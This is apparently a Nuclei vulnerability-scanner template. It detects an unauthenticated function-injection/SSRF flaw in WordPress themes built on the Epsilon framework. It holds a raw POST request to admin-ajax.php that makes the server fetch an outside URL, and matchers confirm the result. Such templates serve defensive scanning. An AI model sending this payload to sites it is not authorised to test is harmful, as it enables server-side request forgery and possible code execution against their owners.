id: wp-multiple-theme-ssrf

info:
  name: WordPress Multiple Themes - Unauthenticated Function Injection
  author: madrobot
  severity: high
  tags: wordpress,rce,ssrf

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 158
        Connection: close

        action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=http://example.com

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Example Domain"
          - "protocol_version"
        part: body

      - type: status
        status:
          - 200